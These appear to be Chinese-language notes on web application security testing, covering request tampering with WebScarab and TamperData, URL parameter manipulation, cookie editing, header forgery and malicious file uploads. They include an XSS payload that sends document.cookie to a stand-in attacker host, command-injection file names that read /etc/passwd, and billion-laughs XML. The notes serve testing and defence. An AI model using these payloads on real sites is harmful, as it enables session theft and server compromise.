1) 截获和修改POST请求
篡改表单、文件、GET、POST、AJAX、Cookie、头信息
工具:使用WebScarab截获和修改数据,避开页面所指定的所有限制或修改
2)生成包含任意数据的文件,通过WebScarab工具,黏贴文件内容到某个参数并提交(只针对post表单)
3) 篡改URL
(1) 与访问相关的参数 http://example.com/getDoc?readOnly=true http://example.com/viewData?customerID=573892
(2) 重定向到一个搭建得与你的服务器看起来完全一样的恶意服务器 http://example.com/redirect.php?target=http://ha.ckers.org
(3) HTML SQL JavaScript注入 http://insecure.com/web/index.php?UserStyle="/><script>alert("XSS");</script>
(4) 隐藏管理参数 在查询字符串中增加?admin=true或?debug=true
(5) 在末尾处放置伪造参数或在开头放置伪造参数
4)编辑Cookie
在研究cookie时,留意身份验证可能的编码方式或者设分验证是否能轻易地被预测到,cookie存放太多个人信息不明智,因为很容易通过数据包嗅探捕获到cookie。对用户进行身份验证并保持永久有效的cookie是cookie窃取的最佳目标,确保cookie更快地过期,可能减小cookie窃取的影响 http://www.vulnerable.site/index.php?user=<script>document.location="http://www.atacker.site/get.php?cookie="+document.cookie;</script>
5)伪造浏览器头信息
工具:TamperData
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.16;<script>alert('hello');</script>) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729)
头信息的常用作用
① 引用页跟踪Referer表明链接到当前页面的前一页面,web站点管理员使用它们来了解哪些外部站点链接到你的web应用
② Click-through分布:服务器日志将referer头信息制成表格,以报告用户在进入应用之后,如何在其内部进行导航
③ 受众分析:分析user-agent头信息,以确定用户使用哪种浏览器,操作系统,扩展甚至硬件类型
如果这些数据在进入时未经验证而且在显示给管理员之前未经净化,那么就存在潜在的漏洞。
6)上传文件攻击(恶意文件名,恶意文件)
恶意文件名 | 包含特殊字符的文件名 'onerror = 'alert('XSS')' A='.jpg |ls%20-al "||cat/ect/passwd;" 'having 1=1 "-- <hr>test<hr> 防范措施 在保存到磁盘之前,所有文件名都需要进行转义处理或编码成HTML特殊字符。最好能将整个文件名替换为一个唯一的标识符 |
上传大文件 | 一般上传比正常使用大100倍的文件 |
上传恶意XML实体文件 | billion laughs攻击,通过创建一项递归的xml定义,在内存中生成十亿个“ha!”字符串(如果你的XML解析器有漏洞的话) 许多xml解析器在解析XML文档时倾向于将它的整个结构保留在内存中,billion laughs攻击正是利用了这一特点。文档中的实体都应用了两次前一项实体,所以每项引用都正确地解析出来,内存中将有2^30个“Ha !”文本的实例,通常已经足以耗尽易受攻击的程序的可用内存 |
上传恶意xml结构 | 解决方案: ① 特别长的标签 ② 特别多的属性:耗尽解析器的内存,或者使之抛出未经处理的异常<foo a="z" b="y" c="w"...> ③ 包含攻击字符串的标签<A <%1B%5B%32%4A> ④ 极深的嵌套 |
上传恶意zip文件 | http://www.securityfocus.com/bid/3027/exploit/ |
上传样例病毒文件 | curl http://www.eicar.org/download/eicar.com -o eicar.com.txt 防范措施:直接将上传的二进制数据存储到数据库而不是作为服务器操作系统中的文件 |
绕过用户界面的限制 | web应用常常视图通过在表单域上设置disabled属性来限制用户的动作。 用firefox修改disabled属性 |